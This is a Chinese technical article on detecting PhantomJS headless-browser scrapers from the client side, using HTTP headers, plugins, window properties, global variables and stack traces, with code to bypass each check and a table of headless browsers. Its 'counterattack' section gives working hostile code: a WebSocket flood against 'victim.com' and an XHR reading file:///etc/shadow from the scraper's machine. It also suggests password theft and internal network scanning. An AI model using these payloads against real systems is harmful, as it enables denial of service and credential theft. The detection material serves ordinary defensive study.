无头浏览器(Headless browser)指没有用户图形界面的(GUI)的浏览器,目前广泛运用于web爬虫和自动化测试中。随着反爬虫和反反爬虫对抗技术的升级,越来越多的爬虫开始使用无头浏览器伪装成正常用户绕过反爬虫策略。
我们如何区分这些无头浏览器和正常浏览器?从Server Side分析用户行为进行检测是一劳永逸的方法,但成本和难度都很大。
不过通过无头浏览器的一些特性。我们也可以从从Client Side找出一些不同来。下面以醉受欢迎的PhantomJS(2.x版本)为例,介绍一些识别的方法,对于其他的无头浏览器,如Slimer JS这些方法也可以参考
HTTP Header
- PhantomJS
0123456GET / HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: zh-CN,en,*Host: test.com - Chrome
012345678GET / HTTP/1.1Host: test.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8DNT: 1Accept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8 - IE 11
0123456GET / HTTP/1.1Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*Accept-Language: zh-CNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Accept-Encoding: gzip, deflateHost: test.comConnection: Keep-Alive - Firefox
01234567GET / HTTP/1.1Host: test.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1 - 可以看出PhantomJS的请求头和其他浏览器还是有一些区别的
Host
头在最后边Connection
头的值Keep-Alive
是大小写混合User-Agent
头里包含PhantomJS
关键字
检测方案
- 通过
User-Agent
,可以简单的识别出一部分PhantomJS浏览器:
01234567if (/PhantomJS/.test(navigator.userAgent)) {console.log("PhantomJS environment detected.");} else {console.log("PhantomJS environment not detected.");}// 提示: 这里只需要重写一下就看不出来了,所以不靠谱page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36'; - 浏览器插件
01234567891011121314151617181920// 大部分浏览器甚至移动端的浏览器都会默认安装至少一个插件,比如 Chrome 浏览器就会安装 PDF Viewer,Shockwave Flash 等插件,这些插件用 navigator.plugins 可以看到。而 PhantomJS 没有实现任何插件功能,也没有提供方法去增加插件。所以我们可以通过检查浏览器的插件数量来猜测访问网站的是不是无头浏览器:if (!(navigator.plugins instanceof PluginArray) || navigator.plugins.length == 0) {console.log("PhantomJS environment detected.");} else {console.log("PhantomJS environment not detected.");}// 绕过检查的方法也很简单,在页面加载之前修改 navigator 对象就行了page.onInitialized = function () {page.evaluate(function () {var oldNavigator = navigator;var oldPlugins = oldNavigator.plugins;var plugins = {};plugins.length = 1;plugins.__proto__ = oldPlugins.__proto__;window.navigator = {plugins: plugins};window.navigator.__proto__ = oldNavigator.__proto__;});};- 另外也可以定制自己的 PhantomJS,其实并不复杂,因为 PhantomJS 是基于 Qt 框架的,而 Qt 已经提供了原生的 API 供实现插件。
- 操作时
般用无头浏览器的爬虫为了防止阻塞都会自动关闭页面上的对话框,但它关闭的速度肯定比正常人手动关闭快很多 ,所以我们可以通过对话框被关闭的用时来判断对面是否是机器人
0123456789101112131415var start = Date.now();alert('Press OK');var elapse = Date.now() - start;if (elapse < 15) {console.log("PhantomJS environment detected.");} else {console.log("PhantomJS environment not detected.");}// 如果对话框在 15 毫秒内就被关闭,很有可能是无头浏览器在控制。// 但是这种方法有个弊端——会打扰正常用户,而且只需增加一些延时就可绕过page.onAlert = page.onConfirm = page.onPrompt = function () {for (var i = 0; i < 1e8; i++) {}return "a";}; - 窗口特征
- 无头浏览器因为没有 GUI ,所以窗口大小是不存在的,借此我们可以做一些判断。而且
- PhantomJS 不支持 outerWith 或 outerHeight
012if (window.outerWidth === 0 || window.outerHeight === 0){console.log("PhantomJS environment detected.");}- 不过这样在 Chrome 里会有一个 bug,当页面在隐藏选项卡中加载,例如从上一个会话恢复时,页面的
outerWidth
和outerHeight
也会为 0。 - 另外可以检查键盘、鼠标、触摸屏交互,通过
onmouseover
或onkeydown
等函数来判断对方是不是真实用户。 - 但是 PhantomJS 也提供了
sendEvent
这个函数向页面发送事件, - 还可以使用 jQuery 的
trigger()
主动触发事件:
0123page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function(){// do anything});$('#some_element').trigger('hover'); - 全局属性
- PhantomJS 提供了两个全局属性:
window.callPhantom
和window._phantom
01234if (window.callPhantom || window._phantom) {console.log("PhantomJS environment detected.");} else {console.log("PhantomJS environment not detected.");}- 不过这两个是实验性功能,未来很可能会被替换。
- 当然也可以通过重写绕过
0123456789101112131415161718page.onInitialized = function () {page.evaluate(function () {var p = window.callPhantom;delete window._phantom;delete window.callPhantom;Object.defineProperty(window, "myCallPhantom", {get: function () {return p;},set: function () {}, enumerable: false});setTimeout(function () {window.myCallPhantom();}, 1000);});};page.onCallback = function (obj) {console.log('profit!');};- 其他一些 JavaScript 引擎的独有全局属性
0123456window.Buffer //nodejswindow.emit //couchjswindow.spawn //rhinowindow.webdriver //seleniumwindow.domAutomation (or window.domAutomationController) //chromium based automation driver - PhantomJS 提供了两个全局属性:
- HTML5 和 JavaScript 新特性
- PhantomJS 使用的 Webkit 引擎相对较旧,这意味着很多新浏览器才支持的特性可能在 PhantomJS 中缺失。
WebAudio
WebRTC
WebSocket
WebGL
FileAPI
CSS 3
Device APIs
BatteryManager
- 另外,JavaScript 引擎的一些原生方法和属性在PhantomJS中不一样或者不存在
01234567891011121314(function () {if (!Function.prototype.bind) {console.log("PhantomJS environment detected. #1");return;}if (Function.prototype.bind.toString().replace(/bind/g, 'Error') != Error.toString()) {console.log("PhantomJS environment detected. #2");return;}if (Function.prototype.toString.toString().replace(/toString/g, 'Error') != Error.toString()) {console.log("PhantomJS environment detected. #3");return;}console.log("PhantomJS environment not detected.");})();- 绕过方法比较复杂,有兴趣的可以看看 spoofFunctionBind.js。
- PhantomJS 使用的 Webkit 引擎相对较旧,这意味着很多新浏览器才支持的特性可能在 PhantomJS 中缺失。
- 堆栈追踪
- 这是最有用的识别方法。因为开发者不可能花费大量的精力去修改Webkit的JavaScript引擎核心代码,使PhantomJS的堆栈跟踪写信和真是浏览器一样。
- 当 PhantomJS 的 evaluate 方法报错时,它会产生独特的堆栈跟踪信息:
0123456789101112131415161718192021222324252627282930313233343536var err;try {null[0]();} catch (e) {err = e;}if (err.stack.indexOf('phantomjs') > -1) {console.log("PhantomJS environment detected.");} else {console.log("PhantomJS environment is not detected.");// 那么如何让 PhantomJS 主动用 evaluate 执行这样的代码呢?我们可以设置蜜罐。// 比如重写常见的 DOM API 函数,当 PhantomJS 调用到了被我们重写的 DOM 函数时,// 它就会执行我们的代码Document.prototype.querySelectorAll = Element.prototype.querySelectorAll = function () {var err;try {null[0](); // Force throwing.} catch (e) {err = e;}if (err.stack.indexOf('phantomjs') > -1) {console.log("PhantomJS environment detected.");} else {console.log("PhantomJS environment is not detected.");}};// 上面的这段代码重写了 document.querySelectorAll 函数,如果爬虫调用 PhantomJS 时含有这样的代码page.onLoadFinished = function () {page.evaluate(function () {var divs = document.querySelectorAll('div');// do anything});};// 就会用 evaluate 执行被我们重写过的 querySelectorAll,从而被检测出来。
反击
- 如果检测出对方使用了 PhantomJS,除了封他 IP,还有什么办法惩罚他呢? 由于 PhantomJS 2.x 已经支持
WebSocket
,我们可以给他来个 WebSocket DDos 尝尝
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
(function () { for (var i = 0; i < 8000; i++) { new WebSocket('ws://victim.com/chat'); } })(); // 另外,为了跨域请求的方便,很多 PhantomJS 爬虫会关闭 web-security 这个选项。 // 但关闭这个选项后,连本地的 file 域都可以访问了: var xhr = new XMLHttpRequest(); xhr.open('GET', 'file:///etc/shadow', false); // xhr.open('GET', 'file:///C:/Windows/System32/drivers/etc/hosts', false); xhr.onload = function () { console.log(xhr.responseText); }; xhr.onerror = function (e) { console.log('Error: ' + JSON.stringify(e)); }; xhr.send(); |
- 如果权限够大,我们甚至可以读取运行 PhantomJS 的机器的密码。
- 根据 PhantomJS 开发组的计划,WebRTC 将会被支持,到时候我们还能探测他的真实 IP和扫描他的内网。
总结
文中我们介绍了一些在 Client Side 检查 PhantomJS 的方法,对于一般的 PhantomJS 爬虫具有不错的识别效果。 当然,我们不能完全依赖于这些检测手段。对于有经验的爬虫作者,他们还是能通过 Hook JavaScript 代码绕过 Client Side 的检查。比如,重写 indexOf
函数,使 err.stack.indexOf('phantomjs')
恒为 -1,从而绕过我们对堆栈跟踪的检查。
在安全方面,当我们在生产环境使用无头浏览器时,应注意环境隔离,使用低权限运行,设置 --web-security=true
。
市面上常见的无头浏览器
软件名 | 介绍 | 支持语言 |
---|---|---|
Awesomium | 基于Chromium无图形界面浏览器引擎。 | C++, .NET |
benv | Benv是node.js开发的无界面浏览器测试环境,用于测试客户端代码。 | JavaScript |
browser-launcher | Browser-Launcher可以检测系统上的所有浏览器版本,并在一个独立的配置文件中启动它们,用于自动测试。 | JavaScript |
browser.rb | 无界面 Ruby 浏览器。 | Ruby |
Browserjet | 无界面webkit浏览器,采用node.js接口。 | JavaScript |
BrowserKit | 可模拟浏览器的行为。 | PHP |
CasperJS | CasperJS 是一个开源的导航脚本和测试工具,使用 JavaScript 基于 PhantomJS 编写,用于测试 Web 应用功能,Phantom JS是一个服务器端的 JavaScript API 的 WebKit。其支持各种Web标准: DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG。 | JavaScript |
DalekJS | DalekJS 是一个基于 JavaScript(或 Node.js) 的免费和开源的自动化测试接口。它能够同时运行测试一组流行的浏览器(Chrome,IE,Firefox 和 WebKit)。 | JavaScript |
Erik | Erik是一款基于WebKit的无界面浏览器,可用于功能函数的测试,使用JavaScript对网页进行操作访问。 | Swift |
Geb | Geb 是浏览器自动化(browser automation)测试解決方案。 | Groovy |
ghost.py | ghost.py 是一个 Python 的 Webkit 的 Web 客户端。 | Python |
Ghostbuster | Ghostbuster 是一款自动化浏览器测试工具,基于phantomjs,意味着你得到一个仿真浏览器,一个真正的DOM,仿真测试环境。 | JavaScript |
grope | Grope 是无GUI浏览器环境,使用WebKit Framework + RubyCocoa。 | Ruby |
Guillotine | Guillotine 是一款采用C#开发的.NET 无界面浏览器。 | .NET |
Headless | Headless是一款无界面浏览器,支持快速网络接受测试,采用.Net环境。 | .NET |
headless_browser | Headless-Browser 是一款采用C++开发的基于WebKit 无界面浏览器。 | C++ |
HeadlessBrowser | HeadlessBrowser是一款轻量级无图形界面浏览器,用于DOM测试。 | JavaScript |
HtmlUnit | HtmlUnit 是一个is a “Java 程序 GUI-Less 浏览器”。 | Java |
Jabba-Webkit | Jabba-Webkit是一款无图形化 WebKit 浏览器,主要用来抓取Ajax网页。 | Python |
Jasmine-Headless-Webkit | Jasmine-Headless-Webkit是一款基于jasmine的无图形化web工具。 | Python, JavaScript, Ruby |
Jaunt | Java Web 网页抓取&自动化 API | Java |
jBrowserDriver | jBrowserDriver是一款采用纯Java编写的无图形化浏览器,基于WebKit,和Selenium兼容。 | Java |
jedi-crawler | Jedi-Crawler 是一款轻量级 Node/PhantomJS爬虫,可以动态的抓取网页内容。 | JavaScript |
Lotte | Lotte是一款自动化无图形化浏览器测试工具,采用phantomJs。 | JavaScript |
MechanicalSoup | MechanicalSoup是一个与网站自动交互Python库。 | Python |
mechanize | 状态编程的Web浏览。 | Python |
Nightmare | 高层次浏览器自动化库,构建于PhantomJS。 | JavaScript |
PhantomJS | Phantom JS是一个服务器端的 JavaScript API 的 WebKit | JavaScript, Python, Ruby, Java, C#, Haskell, Objective-C, Perl, PHP, R(via Selenium) |
phantompy | Phantompy 是一款headless WebKit 引擎,构建于强大的 Qt5 Webkit API之上。 | Python |
Python-Webkit | Python-Webkit 是一个Webkit python扩展, 可完整的访问网页的DOM。 | Python |
RoboBrowser | RoboBrowser 是一款简单的浏览网页的Pythonic库,无需依赖独立的浏览器。 | Python |
Selenium | 跨平台自动化web浏览器。 | JavaScript, Python, Ruby, Java, C#, Haskell, Objective-C, Perl, PHP, R |
SimpleBrowser | SimpleBrowser是专门为自动化任务而设计的一个灵活而直观的浏览器引擎,内置.Net 4 framework。 | .NET |
SlimerJS | SlimerJS 是一个提供给 Web 开发人员,可通过脚本编程控制的浏览器。 | JavaScript |
Splash | Splash是一款HTTP API 轻量级浏览器,采用Python和QT开发。 | Any |
Splinter | Splinter 是一个用 Python 编写的 Web 应用程序进行验收测试的工具。 | Python |
Spynner | Spynner是一个可编程Web浏览器Python模块。支持AJAX | Python |
SST | SST (selenium-simple-test) 是一个 Web 测试框架,使用 Python 来生成基于浏览器的功能测试。 | Python |
stanislaw | Stanislaw一款Python headless 浏览器测试工具。 | Python |
trifleJS | 一个 headless IE 浏览器。采用 .NET WebBrowser类,拥有Javascript API,运行在 V8引擎。 | JavaScript |
twill | Twill是一种简单的语言,允许用户通过一个命令行界面浏览网页。 | Python |
WatiN | Watin是一个面向.net的Web自动化测试开源项目,对应Web元素提供了丰富的类库,而且使用起来非常简单。 | .NET |
Watir-WebDriver | Watir的实现基于WebDriver的Ruby绑定。 | Ruby |
WKZombie | WKZombie是针对iOS/ OSX的不需要用户界面或API就能进行网站导航和数据收集的一个Swift框架,也被称为无界面浏览器。 | Swift |
Zombie.js | 一个轻量级的框架,用于在一个模拟的环境中测试客户端的 JavaScript 代码。Zombie.js 使用 Node.js 实现快速的 headless full-stack 测试平台。 | JavaScript |